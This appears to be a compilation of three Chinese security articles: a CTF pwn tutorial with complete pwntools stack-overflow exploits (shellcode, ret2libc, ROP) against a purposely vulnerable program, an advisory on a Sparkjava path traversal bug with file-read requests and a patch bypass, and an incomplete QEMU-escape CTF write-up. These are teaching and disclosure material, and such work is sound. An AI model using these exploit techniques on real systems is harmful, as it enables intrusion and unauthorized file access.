[**【技术分享】跟我入坑PWN第二章** ****](http://bobao.360.cn/learning/detail/3339.html)
**
**
**0x00 背景**
随着CTF相关事业发展的越来越火很多朋友都想入坑CTF。但是网络上关于pwn的相关资料较少不好找造成了大家学习过程存在中的一些困难。作为bin狗我对我学习pwn的过程中一些姿势进行了总结尽量让大家在学习的过程中少走弯路准备了一系列文章囊括一些知识点包括缓冲区溢出缓冲区溢出的利用方式return
to dl resolve 堆溢出off by one格式化字符串漏洞等。
本文默认大家都对pwn的一些原理有所了解所以不在详细赘述pwn的原理而是讲一下利用方法和使用pwntools快速开发exploit的姿势。
**本文的测试环境为Ubuntu 14.04 desktop x86-64** ，使用到的程序为gdb、gdb-peda、gcc、python、pwntools、socat、rp++、readelf。所有的应用都在本文末尾可以下载方式或者下载链接。
**0x01 缓冲区溢出简介**
本文不再详细赘述缓冲区溢出的原理简单画一个示意图方便大家理解。
Stackframe
+------------------+
| parameter |
+------------------+
| local var1 | <- 4 byte
+------------------+
| local var2 | <- 8 byte
+------------------+
| local var2 |
+------------------+
| ebp |
+------------------+
| return addr |
+------------------+
可以看出这个函数的有一个参数和两个局部变量。因为局部变量和参数会放在函数的栈帧上而且这个栈帧的大小是编译时就确定好的。所以可以看出局部变量1大小是4字节局部变量2的大小是8字节。ebp和return
addr是用来保存栈帧基址和函数的返回地址的对程序员透明。如果我们给局部变量2输入16个字节会发生什么呢。
Stackframe
+------------------+
| parameter |
+------------------+
| abcd | <- local var1
+------------------+
| aaaa | <- local var2
+------------------+
| aaaa |
+------------------+
| aaaa | <- ebp
+------------------+
| aaaa | <- return addr
+------------------+
可以看到因为局部变量2只有8字节大小的内存空间多出来的8字节会覆盖掉ebp和return
addr。在这个函数执行完后会返回到aaaa这个地址也就是0x61616161去执行下面的指令如果我们把return
addr换成事先部署在内存的恶意指令再把return addr换成这块内存的地址则程序会执行我们实现部署好的恶意指令。这就是缓冲区溢出的基本原理。
下面给出一个存在缓冲区溢出的源码本文的所有实例都是基于这个源码进行编译的。
// filename 1.c
#include<stdio.h>
void func()
{
char name[0x50];//0x100大小的栈空间
read(0, name, 0x100);//输入0x200大小的数据
write(1, name, 0x100);
}
int main()
{
func();
return 0;
}
**
**
**0x02 x86下无任何防护机制**
编译方式：
gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack
**m32:** 生成32bit程序需要gcc-multilib(x86机器上编译不用加)
**O0:** 不进行任何优化
**fno-stack-protector:** 不开启canary栈溢出检测
**z execstack:** 开启栈可执行关闭NX
首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return
addr的长度。
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
然后让程序跑起来输入这串字符串后程序崩溃。
Stopped reason: SIGSEGV
0x41416741 in ?? ()
gdb-peda$ pattern_offset 0x41416741
1094805313 found at offset: 92
然后确定主机是否开启ASLR。
➜ cat /proc/sys/kernel/randomize_va_space
0
可见主机并没有开启ASLR。也可以使用ldd来看加载动态库时动态库的基址来确定是否开启ASLR。
➜ ldd 1
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
/lib/ld-linux.so.2 (0x56555000)
再次运行ldd，
➜ ldd 1
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
/lib/ld-linux.so.2 (0x56555000)
两次libc的基址一样也说明了主机没有开启ASLR。然后我们可以在栈中部署一段shellcode然后让return
addr的内容位shellcode的地址注意这块有个坑。gdb调试的时候栈地址和程序运行时不同所以我们需要开启core
dump或者attach到运行的程序上来看程序运行时的栈地址。通过ulimit -c unlimited来开启core
dump。然后让程序崩溃调试一下core dump来找shellcode的地址。
from pwn import *
io = process("./1")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)
这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c
core)文件找cccc的地址填到eip的位置即可。
#0 0x62626262 in ?? ()
gdb-peda$ print $esp
$1 = (void *) 0xffffd0b0
gdb-peda$ x/wx 0xffffd0b0
0xffffd0b0: 0x63636363
所以eip填入的地址应该是0xffffd0b0。我们修改一下exploit文件shellcode从exploit-db上找的(<https://www.exploit-db.com/exploits/13312/>):
from pwn import *
io = process("./1")
payload = 'a' * 92
payload += p32(0xffffd0b0)
payload += "xebx11x5ex31xc9xb1x32x80"
payload += "x6cx0exffx01x80xe9x01x75"
payload += "xf6xebx05xe8xeaxffxffxff"
payload += "x32xc1x51x69x30x30x74x69"
payload += "x69x30x63x6ax6fx8axe4x51"
payload += "x54x8axe2x9axb1x0cxcex81"
raw_input()
io.send(payload)
io.interactive()
运行后成功返回shell，
➜ python 1.py
[+] Started program './1'
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxb0xff^1ɱ2x80lx0exffx80uxff2Qi00tii0cjox8aQTx8a⚱x0c,x82x0x00x00x00x00x00x00x00x00x00x00x00x00+7zxbfx0ex00x00x00x00x00x00x00x00x00x00x00x00x00x00x00Px83x0x00x00x00x00xffx00Px83x0x00x00x00x00qx83x0x8bx84x0x00x00x00Txffxa0x84x0x10x85x0`xb1
$ ls
1
1.c
1.py
core
然而在通常情况下系统会开启NX和ASLR这样就给我们编写exploit造成了一定的困难。
**0x03 x86开启NX提供libc.so**
编译方式：
gcc -m32 1.c -o 2 -O0 -fno-stack-protector
用gdb-peda中的pattern_offset找到刚好覆盖ebp的长度是92因为主机开启了ASLR。因为我们有了libc.so这样只需要泄漏任意一个函数地址就可以计算出运行时system的地址有了system的地址后我们还需要/bin/sh的地址。得到这个地址有两种途径：
1\. 调用read写入程序的bss段
2\. 计算libc中/bin/sh的地址
**在1中/bin/sh在写入bss的情况下，**
我们随便选择一个函数read去泄露read的地址因此我们需要算出read和system的偏移。使用gdb调试程序运行起来打印一下read的地址和system的地址即可算出偏移。
gdb-peda$ print read
$1 = {<text variable, no debug info>} 0xf7ef1880 <read>
gdb-peda$ print system
$2 = {<text variable, no debug info>} 0xf7e57e70 <system>
计算出read和system的偏移为0x99a10(read_addr – system_addr)有了这个偏移我们还需要得到bss段的地址
➜ readelf -a 2 | grep bss
[25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1
有了bss段的地址后开始构造exploit，
from pwn import *
io = process("./2")
elf = ELF("./2")
offset = 92
offset_read_system = 0x99a10
addr_bss = 0x0804a024
# leak read address
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['func'])# return to func
payload += p32(1)
payload += p32(elf.got['read'])
payload += p32(4)
io.send(payload)
io.recv(0x100)
read_addr = u32(io.recv(4))
log.success("read address =>{}".format(hex(read_addr)))
system_addr = read_addr - offset_read_system
log.success("system address =>{}".format(hex(system_addr)))
# write "/bin/sh" to bss
payload = offset * 'a'
payload += p32(elf.plt['read'])
payload += p32(elf.symbols['func'])# return to func
payload += p32(0)
payload += p32(addr_bss)
payload += p32(10)
io.send(payload)
sleep(3)
io.send('/bin/shx00')
sleep(3)
# invoke system
payload = offset * 'a'
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(addr_bss)
io.send(payload)
io.interactive()
在第三段payload中我们的返回地址是0xdeadbeef这样写只是用来占位。因为在调用system("/bin/sh")其实是新建了一个进程所以不影响shell的返回。
**在2中利用libc中/bin/sh的情况如下，** 其实有了libc就不需要我们构造/bin/sh了libc中就有/bin/sh。
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f75a8c ("/bin/sh")
然后计算出和read的地址偏移为offset_read_binsh = -0x8420c。payload就变成了两段如下：
from pwn import *
io = process("./2")
elf = ELF("./2")
offset = 92
offset_read_system = 0x99a10
offset_read_binsh = -0x8420c
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['func'])
payload += p32(1)
payload += p32(elf.got['read'])
payload += p32(4)
io.send(payload)
io.recv(0x100)
read_addr = u32(io.recv(4))
log.success("read address =>{}".format(hex(read_addr)))
system_addr = read_addr - offset_read_system
log.success("system address =>{}".format(hex(system_addr)))
binsh_addr = read_addr - offset_read_binsh
log.success("/bin/sh address =>{}".format(hex(binsh_addr)))
payload = offset * 'a'
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
io.send(payload)
io.interactive()
**
**
**0x04 x86开启NX不提供libc.so**
编译方式：
gcc -m32 1.c -o 3 -O0 -fno-stack-protector
没有libc的情况下就需要pwntools的一个模块来泄漏system地址——DynELF。我们来看看DynELF模块的官方介绍。
Resolving remote functions using leaks.
Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function
which can leak data at an arbitrary address, any symbol in any loaded library
can be resolved.
可以看出只要能完成任意地址读就可以解析动态库的符号所以我们只需要构造一个任意地址读取。构造的exploit如下：
from pwn import *
io = process("./3")
elf = ELF("./3")
offset = 92
def leak(address):
log.info("leak address =>{}".format(hex(address)))
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['func'])
payload += p32(1)
payload += p32(address)
payload += p32(4)
io.send(payload)
io.recv(0x100)
ret = io.recv()
return ret
d = DynELF(leak, elf = ELF('./3'))
system_addr = d.lookup("system", "libc")
log.success("system address =>{}".format(hex(system_addr)))
到这里可以有两种方法写exploit第一种方法是在一次连接里先把/bin/sh写入到bss段再用泄漏出来的system地址来执行第二种方法是泄漏read和system的地址算出偏移。在利用0x02中的写入bss段的方法来写出exploit这里不再赘述。
**0x05 x86_64开启NX提供libc.so**
编译方式：
gcc 1.c -o 4 -O0 -fno-stack-protector
这里需要注意的是 **x86和x86_64的函数传参方式有所不同：**
1\. 在x86中函数的所有参数由右至左依次放如栈中
2\. 在x86_64中函数的前6个参数依次放入rdi, rsi, rdx, rcx, r8, r9中超过的部分再放入栈中
因此我们在编写exploit的过程中传参必须用ROP Gadget来完成。这里我们使用rp++来搜索需要的ROP
Gadget。因为在我们需要调用的函数有三个参数所以需要pop rdi ret、pop rsi ret和pop rdx
ret。但是在搜索的过程中我们只找到了两个gadget。
➜ rp++ -f 4 -r 3 | grep 'pop rdi'
0x00400643: pop rdi ; ret ; (1 found)
➜ rp++ -f 4 -r 3 | grep 'pop rsi'
0x00400641: pop rsi ; pop r15 ; ret ; (1 found)
➜ rp++ -f 4 -r 3 | grep 'pop rdx'
➜
那么问题来了是否我们就不能完成exploit呢答案是不是这样的。
[----------------------------------registers-----------------------------------]
RAX: 0x100
RBX: 0x0
RCX: 0xffffffffffffffff
RDX: 0x100
[-------------------------------------code-------------------------------------]
0x4005bb <func+62>: leave
=> 0x4005bc <func+63>: ret
[------------------------------------stack-------------------------------------]
0x00000000004005bc in func ()
gdb-peda$
可以看到在func函数return的时候rdx的值是0x100远大于我们需要的rdx的值。在输入的情况下输入EOF即可在输出的情况下舍弃多余的输出即可。
在x86_64下用0x01的方法可能需要变通下因为EIP到不了高地址。
[----------------------------------registers-----------------------------------]
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffde58 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAnwj177300g270)")
RIP: 0x4005bc (<func+63>: ret)
[-------------------------------------code-------------------------------------]
0x4005bb <func+62>: leave
=> 0x4005bc <func+63>: ret
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005bc in func ()
因为栈帧中RBP在RIP的上方8字节所以这次offset应该这样算：
gdb-peda$ pattern_offset 0x3541416641414a41
3837420264933640769 found at offset: 80
offset = 80 + 8 = 88
接下来我们根据上述知识来构造exploit因为有libc.so所以我们使用libc中的/bin/sh具体的exploit如下：
from pwn import *
io = process("./4")
elf = ELF("./4")
offset = 88
offset_read_system = 0xa5110
offset_read_binsh = -0x91223
pop_rdi_ret = 0x00400643
pop_rsi_r15_ret = 0x00400641
payload = offset * 'a'
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r15_ret)
payload += p64(elf.got['read'])
payload += 'aaaaaaaa' # padding
payload += p64(elf.plt['write'])
payload += p64(elf.symbols['func'])
io.send(payload)
io.recv(0x100)
read_addr = u64(io.recv(8))
log.success("read address =>{}".format(hex(read_addr)))
system_addr = read_addr - offset_read_system
log.success("system address =>{}".format(hex(system_addr)))
binsh_addr = read_addr - offset_read_binsh
log.success("/bin/sh address =>{}".format(hex(binsh_addr)))
payload = offset * 'a'
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
io.send(payload)
io.interactive()
**
**
**0x06 本文用到的程序下载方式**
gdb: apt-get install gdb
gcc: apt-get install gcc
gdb-peda: [https://github.com/longld/peda](https://github.com/longld/peda)
pwntools: pip install pwntools
gcc-multilib: apt-get install gcc-multilib
socat: apt-get install socat
rp++: [https://github.com/0vercl0k/rp](https://github.com/0vercl0k/rp)
readelf: apt-get install readelf
**
**
**0x07 参考文献**
一步一步学ROP之linux_x86篇 – 蒸米
一步一步学ROP之linux_x64篇 – 蒸米
二进制漏洞利用与shellcode – 杨坤
**传送门**
* * *
[**【技术分享】跟我入坑PWN第二章** ****](http://bobao.360.cn/learning/detail/3339.html) | 社区文章 |
**Author:dawu(知道创宇404实验室)**
**date: 2016-11-16**
## 0x00 漏洞概述
### 1.漏洞简介
Sparkjava是一款小型的web框架，它能够让你以很少的代码构建出一个java
web应用。近日，某国外安全研究人员发现其存在文件遍历漏洞，可以通过该漏洞读取任意文件内容。在对这个漏洞进行复现与分析的时候，我们又发现了一些可能可以利用的地方，但是利用条件更加苛刻。
### 2.漏洞影响
Sparkjava版本 < 2.5.2
## 0x01 漏洞复现
### 1.验证环境
Jdk-1.8.0_111 Apache maven 3.3.9 在写好Sparkjava代码后，在文件所在目录打开命令行，运行mvn
package进行编译打包。
### 2.漏洞复现
根据[官网](http://sparkjava.com/documentation.html)给出的示例，我们写了一个简单的函数去复现这个漏洞:
public class Hello {
public static void main(String[] args) {
staticFiles.externalLocation(“/tmp”);
get("/", (req, res) -> {
return "hello from sparkjava.com";
});
}
}
pom.xml的配置为
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.5</version>
</dependency>
这里提供已经打包好的jar文件供大家[下载](http://paper.seebug.org/papers/Archive/sparkexample-jar-with-dependencies.jar)。可以用如下命令运行:
java -jar sparkexample-jar-with-dependencies.jar
我们可以通过(..\\)来改变路径从而读取任意文件。如图，我们读取到/etc/passwd:
在漏洞发现者的[描述](http://seclists.org/fulldisclosure/2016/Nov/13)中，Spark.staticFileLocation()和Spark.externalStaticFileLocation()这两个函数都存在这个问题。经过开发者测试，在IDE中运行时，两个函数都可以复现这个漏洞;运行打包好的jar包时，只有Spark.externalStaticFileLocation()这个函数可以触发漏洞。
## 0x02 补丁分析与深入研究
### 1.补丁分析
很明显，在漏洞被发现时，官方没有对url中的路径做任何处理。在漏洞被修补之后，官方推出了新的版本2.5.2。这里我们对比之前的版本，并且通过调试，尝试分析官方的修补方案。
官方修补链接(https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9)
当我们正常请求时：
curl "127.0.0.1:4567/l.txt"
跟到关键代码处，我们可以看到在判断文件是否存在之后，官方添加了`DirectoryTraversal.protectAgainstInClassPath(resource.getPath());`进行判断。
这里，path就是我们HTTP请求的地址，`addedPath`就是我们通过`staticFiles.externalLocation()`函数设置的路径与path拼接之后的值，`resource`中的`file`的值就是`addedPath`值经过路径的处理的值(例如：`/tmp/test/..\l.txt`先将所有的`\`换成`/`，再对路径进行处理，最后结果为`/tmp/l.txt`),`resource.getPath()`就是`addedPath`的值。
在`protectAgainstInClassPath()`函数中，需要判断`removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())`是否为`false`，为`false`就抛出。
`removeLeadingAndTrailingSlashesFrom(path)`为新添加的函数，作用是将path首尾的`/`去掉和将尾部的`\`去掉。在这里经过处理之后，`path`的值为`tmp/l.txt`。
`StaticFilesFolder.external()`则是返回external的值，在这里就是tmp。如果`removeLeadingAndTrailingSlashesFrom(path）`前面的字母是`tmp`，则进入下一步。
综上所述，官方通过比较经过处理后的路径的开头和我们设置的externalLocation()的路径是否相同来防止我们利用`..\`读取任意文件。
### 2.深入探究
我们修改了pom.xml，使用新的Sparkjava版本进行编译尝试，做了如下探究。
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.5.2</version>
</dependency>
#### ① 软链接的利用
与Sparkjava(CVE-2016-9177)同时爆出来的一个漏洞GitLab的任意文件读取(CVE-2016-9086)是利用软链接的特性，我们就顺手测试了软链接在Sparkjava下的利用。
直接读取文件:
路径映射:
怎么才能利用软链接呢？这里的利用条件比较苛刻。笔者想到了两种途径： 1.网站允许上传压缩包，上传后解压并且还能访问到解压后的文件才能利用
2.网站通过wget(wget配置文件中需要retr-symlinks=on)从ftp上下载文件并且能够访问到下载的文件。
#### ②再次读取文件
我们在根目录下新建两个文件tmp.txt，tmp2.txt
再访问
读取到了tmp.txt和tmp2.txt的内容。 我们分析一下能够再次读取的原因，当我们请求为：
curl “127.0.0.1:4567/tmp\..\..\tmp.txt”
分析过滤代码处：
`addedPath`的值为`/tmp/tmp/..\..\tmp.txt`，经过处理后resource中的file值为`/tmp.txt`，对于下面的函数`removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())`，由于`tmp.txt`也是由`tmp`开头，所以判断可以通过，进而读取到`tmp.txt`。
同样的道理，我们也可以读取到`/tmp2/test.txt`的内容。
通过以上分析，笔者认为这个读取很鸡肋，首先staticFiles.externalLocation()中定义的路径只能是一级路径，其次我们要读取的文件的完整路径开头必须和staticFiles.externalLocation()中定义的路径相同。这就限制了这个新的读取，也许只有在某些特定的场合才能有奇效。
如有错误，欢迎指正:)
## 0x03 参考链接
* [1.https://www.seebug.org/vuldb/ssvid-92517](https://www.seebug.org/vuldb/ssvid-92517)
* [2.http://seclists.org/fulldisclosure/2016/Nov/13](http://seclists.org/fulldisclosure/2016/Nov/13)
* [3.https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9](https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9)
* [4.https://github.com/perwendel/spark/issues/700](https://github.com/perwendel/spark/issues/700)
* [5.http://sparkjava.com/documentation.html](http://sparkjava.com/documentation.html)
* * * | 社区文章 |
## 前言
腾讯云鼎实验室主办的`2020Geekpwn`比赛在`7.12.22:00`结束，我们队伍最终获得第五名的成绩，这个比赛难度相对比较大且压力主要在队伍的`pwner`身上，可以说是`pwner`的盛宴。
比赛设有四道难度比较高`G-escape`题目，也就是四道逃逸类型的题目，`childshell`，`Vimu`，`Easykernelvm`，`Kimu`，最终解出数分别为`6`，`2`，`1`，`0`，我在比赛中有幸第一个解出了`Vimu`，肝了小一天半，最后能解出还是很开心的，在这里记录一下解题过程。这道题其实说难也有难度，做完再回头看的话，说简单也简单，这个每个人感觉可能都不同，此外我本人接触`Qemu-Escape`的时间也很短，如有错误或疏漏的地方还请大佬们在评论区指出。
## 解题过程
### 环境配置
题目给了`Dockerfile`，是`18.04`的标准版本，所以我还是用了我自己本地的`docker`，毕竟调试环境都配好了，比较方便，然后尝试运行，提示缺库，然后自行上网查找补齐即可，也没啥好说的，我大概补了七八个库才成功跑起来。。。
### 逆向
查看题目的启动脚本，发现其启动了一个自定义设备`vin`，根据经验可知此应该为存在漏洞的自定义设备，把`qemu-systen-x86_64`放入`ida`中查看，发现被`strip`了，函数名和结构体都无了，所以必须把设备`vin`相关的函数给提取出来才能进一步分析，我这里是搜索特征字符串然后对比着[edu.c](https://github.com/qemu/qemu/blob/master/hw/misc/edu.c)源码提取出的函数：
此外我还自己照着标准的`PCIDeviceClass`建了一个结构体，方便看`device_id`和`vender_id`：
### 函数与漏洞分析
`vin_instance_init`函数伪代码如下：
__int64 __fastcall vin_instance_init(__int64 a1)
{
__int64 v1; // rax
v1 = object_dynamic_cast_assert(
a1,
&off_9FBFE6,
"/home/v1nke/Desktop/qemu/pwn/qemu-4.0.0/hw/misc/vin.c",
307LL,
"vin_instance_init");
*(_QWORD *)(v1 + 0x1AB0) = 0xFFFFFFFLL;
*(_DWORD *)(v1 + 0x1AC0) = 1;
*(_QWORD *)(v1 + 0x1AC8) = 0LL;
*(_QWORD *)(v1 + 0x1AB8) = mmap64(0LL, (size_t)&stru_10000, 3, 34, -1, 0LL);
return object_property_add(a1, (__int64)"dma_mask");
}
可以看到实例化设备结构体时`0x1AB0`，`0x1AB8`，`0x1AC0`，`0x1AC8`四个位置的元素比较特殊，需要引起注意，其中`0x1AB8`处装有一个`mmap64`申请出来的`0x10000`字节大小的内存块起始地址，具有`rw`权限，且这个地址是随机的。
`vin_mmio_read`函数伪代码如下：
__int64 __fastcall vin_mmio_read(__int64 a1, int addr, unsigned int size)
{
__int64 dest; // [rsp+28h] [rbp-18h]
__int64 opaque; // [rsp+30h] [rbp-10h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
opaque = a1;
dest = 0LL;
if ( BYTE2(addr) == 6 && (unsigned __int16)addr < (unsigned int)&stru_10000 - size )
memcpy(&dest, (const void *)((unsigned __int16)addr + *(_QWORD *)(opaque + 0x1AB8)), size);
return dest;
}
`addr`是用户传进来的参数，其最后两个字节被作为`offset`，倒数第三个字节被当做`choice`：
`vin_mmio_read`时需要`choic ==
6`且`offset`小于`0x10000-size`，`size`是根据你写的返回语句而定的，可以为`1/2/4`：
比如你写成返回一个`uint64_t`类型的数据：
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
程序就会自动调用两次`vin_mmio_read`，每次`size`等于4。
你写成返回一个`uint32_t`类型的数据：
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
程序就会调用一次`vin_mmio_read`，`size`等于4。
`addr`倒数第三个字节被当做`choice`：
`addr`最后两个字节被当做`offset`：
这个函数实现的功能就是返回`mmap64_start+offset`处的数据给用户，也就是在`mmap64`内存块上可以任意地址读任意字节。
`vin_mmio_write`函数伪代码如下：
void __fastcall vin_mmio_write(__int64 a1, __int64 a2, __int64 val, unsigned int size)
{
char n[12]; // [rsp+4h] [rbp-3Ch]
__int64 addr; // [rsp+10h] [rbp-30h]
__int64 v6; // [rsp+18h] [rbp-28h]
int v7; // [rsp+20h] [rbp-20h]
int v8; // [rsp+24h] [rbp-1Ch]
unsigned int v9; // [rsp+28h] [rbp-18h]
unsigned int v10; // [rsp+2Ch] [rbp-14h]
unsigned int v11; // [rsp+30h] [rbp-10h]
unsigned int v12; // [rsp+34h] [rbp-Ch]
__int64 opaque; // [rsp+38h] [rbp-8h]
__int64 savedregs; // [rsp+40h] [rbp+0h]
v6 = a1;
addr = a2;
*(_QWORD *)&n[4] = val;
opaque = a1;
v7 = BYTE2(a2);
switch ( (unsigned int)&savedregs )
{
case 1u:
v12 = (unsigned __int16)addr;
if ( (unsigned __int16)addr < (unsigned int)&stru_10000 - size )
free((void *)(*(_QWORD *)(opaque + 0x1AB8) + v12));
break;
case 3u:
v11 = (unsigned __int16)addr;
if ( (unsigned __int16)addr < (unsigned int)&stru_10000 - size )
memcpy((void *)(v11 + *(_QWORD *)(opaque + 0x1AB8)), &n[4], size);
break;
case 4u:
v10 = (unsigned __int16)addr;
if ( *(_DWORD *)(opaque + 0x1AC0) == 1 )
{
*(_QWORD *)(opaque + 0x1AC8) = malloc(8LL * v10);
--*(_DWORD *)(opaque + 0x1AC0);
}
break;
case 7u:
v9 = (unsigned __int16)addr;
if ( (unsigned __int16)addr <= 0x2Fu )
memcpy((void *)(v9 + *(_QWORD *)(opaque + 0x1AC8)), &n[4], size);
break;
case 8u:
v8 = (unsigned __int16)addr;
malloc(8LL * (unsigned __int16)addr);
break;
default:
return;
}
}
`addr`和`size`的用法同上，但是这里需要注意的是每个`case`所适配的`size`可能不同，比如你想调用`case
8`时，`size`就必须为`1`，你要是为`4`，他就会自动调用`4`次，且`addr`每次递增`1`，想调用`case
1`时，`size`必须为`4`，你要是为`8`，他就会自动调用两次，每次`addr`递增`4`，这点我当时做的时候被坑惨了。。。
这个函数可以看到一共有`5`个`case`，`case
1`是一个任意`free(mmap64_start+offset)`的功能，这也是漏洞点所在，`case
3`是一个对`mmap64_start+offset`任意写的功能，`case
4`是用`malloc`申请一个任意`size`的`chunk`并保存在`0x1AC8`位置处，有且只有一次机会，`case
7`是对`0x1AC8`处指针指向的地址任意写的功能，且不限次数，初始的`0x1AC8`处存的值是`0`，`case
8`是一个不限次数，不限大小的`malloc`功能。
### 利用
看下`checksec`，发现保护全开，所以利用应该是需要劫持`hook`或者`rop`：
#### leak
如何`leak`出`libc`成为了这题的难点，需要注意`leak`不能使用那一次`case
4`，正常情况下那是留给`hijack`时任意地址分配+写时用的（当然也有可能先利用这次机会控制设备结构体，然后再突破次数限制）。
##### 思路一
最先想到的肯定是把`fake_chunk`放进`unsortedbin`里，然后用`UAF`把`libc`泄露出来。
尝试发现不可行，导致不可行的因素有二：
1. `qemu`自带的多线程情景。
2. 绕不过`nextchunk < topchunk+size(topchunk)`的检测。
在调用`vin_mmio_read/write`处理设备的时候断下来，我们可以发现程序开启了四个`thread`，而我们处理设备时必定处于第三个`thread`。
由于`tcache`指针在`MAYBE_INIT_TCACHE`函数中被初始化，其会自动找到可用`arena`的`tcache`，当前`thread`的`arena`若可用肯定就初始化为本线程的`arena`的`tcache`，所以我们`free`的`fake_chunk`必定会先放到当前`thread`对应`size`的`tcache`中，若已经满了，才会再根据`size`是否小于`global_max_fast`判断，是则放入`arena_ptr`的`fastbin`中，（否的话就会报错，是没法放入`unsortedbin`的，这点之后会细说），这个`arena_ptr`是根据进入`_int_free`前的`arena_for_chunk`获取来的，其是根据`chunk`的`N`标志位判定的，为`1`代表属于`thread_arena`，为`0`代表属于`main_arena`。
`N`为0时，是可以将`fake_chunk`放入`main_arena`的`fastbin`中的，但是当我伪造`N`为`1`时，想将`chunk`放入`thread`的`fastbin`时，发现必定会报错，跟进`arena_for_chunk`，发现程序看到`N`为1时，会判定这个`chunk`是属于一个`thread_arena`的，然后其会去寻找这个`thread`的`malloc_state`，也就是`arena_ptr`，然后这个寻找的方法竟然是直接将`chunk_addr
& 0xfffffffffc000000`作为`thread`的一个`heap_info`，然后从`[chunk_addr &
0xfffffffffc000000]`里取出值作为`malloc_state`的地址（因为正常`thread`的所有`heap_info`的第一个数据位装的都是`malloc_state`地址）。但是我们的`fake_chunk`与`0xfffffffffc000000`按位与后地址肯定是个不合法地址，所以之后必定会有访存错误。
**所以我们没办法把`chunk`放入`thread_arena`的`fastbin`中，只能放进`thread_arena`的`tcache`中或者`main_arena`的`fastbin`中。**
但是为什么没办法放入`main_arena`的`unsortedbin`中呢？对照着`free`的报错信息`double free or
corruption
(out)`找到对应的检测：发现在将`chunk`放入`fastbin`和`unsortedbin`之间会有一系列的轻量级检测，其中有一个是检测`nextchunk
>= av->topchunk +
chunksize(av->top)`，我们的`fakechunk`是在`mmap64`地址上的，这个地址虽然是随机的，但是必定在`ld.so`的加载位置之后，所以其地址必定是大于`main_arena`的`topchunk+size(topchunk)`的地址的，所以如果放不进`fastbin`，走到这里必定会挂掉，这就是没法放进`unsortedbin`的原因所在。
所以想直接把`chunk`放入`unsortedbin`的尝试失败了。
##### 思路二
直接放不行，那么尝试间接放入，先放入`main_arena`的`fastbin`中，然后想办法触发`main_arena`的`malloc_consolidate`，使其将`fastbin`中的`chunk`整理进`smallbin`中再进行`leak`出来。
查阅资料得知，在`__libc_malloc`的`arena_get`函数理论上是可能返回`main_arena`指针的，但是我写了个`for`循环，连续1000次`malloc(0x500)`，尝试了很久，都没办法触发到。。。可能原因是当前线程的`arena`是处于可用状态的，所以就直接返回当前线程的`arena`了，只有在本线程被`lock`了，才有可能返回其他的`arena`？？具体原因我也不是很清楚，写多线程竞争`malloc`是否可行？？感觉不是很靠谱。。我自己是失败了。
想把`fakechunk`间接放入`unsortedbin`也失败了。
##### 思路三
既然泄露`libc`失败了，那就看看没有`libc`能不能利用呢，观察发现有一块`rwx`的区域，且和我们的`thread_heap`的距离有可能间隔固定为`0x6000000`，（这张图我截的是关了`alsr`的，是固定为`0x6000000`，开了以后会变，但仍然有概率是`0x6000000`，大概五六次可以撞见一次？反正是有的）。
首先是如何泄露`thread_heap`基址，因为程序比较复杂和多线程的原因，堆极度混乱，我顺手截了几张图：
几乎每次的各种链里的`chunk`都不同，所以没办法用`UAF`泄露出一个稳定的`chunk`地址，但是因为有前面`free`里面寻找`malloc_state`方法的提示，可以想到我们只需要`malloc_state`的地址，不需要关注具体某一个`chunk`的地址，所以泄露出任意一个`chunk`地址，然后与`0xffffff000000`按位与即可获得当前线程`malloc_state`的起始地址。
然后我们加上`0x6000000`就有概率获取`rwx`页的地址，然后用一次任意地址分配+写的机会去往里面填充`shellcode`，但是后续我想不到如何将程序劫持到`shellcode`上去。。。
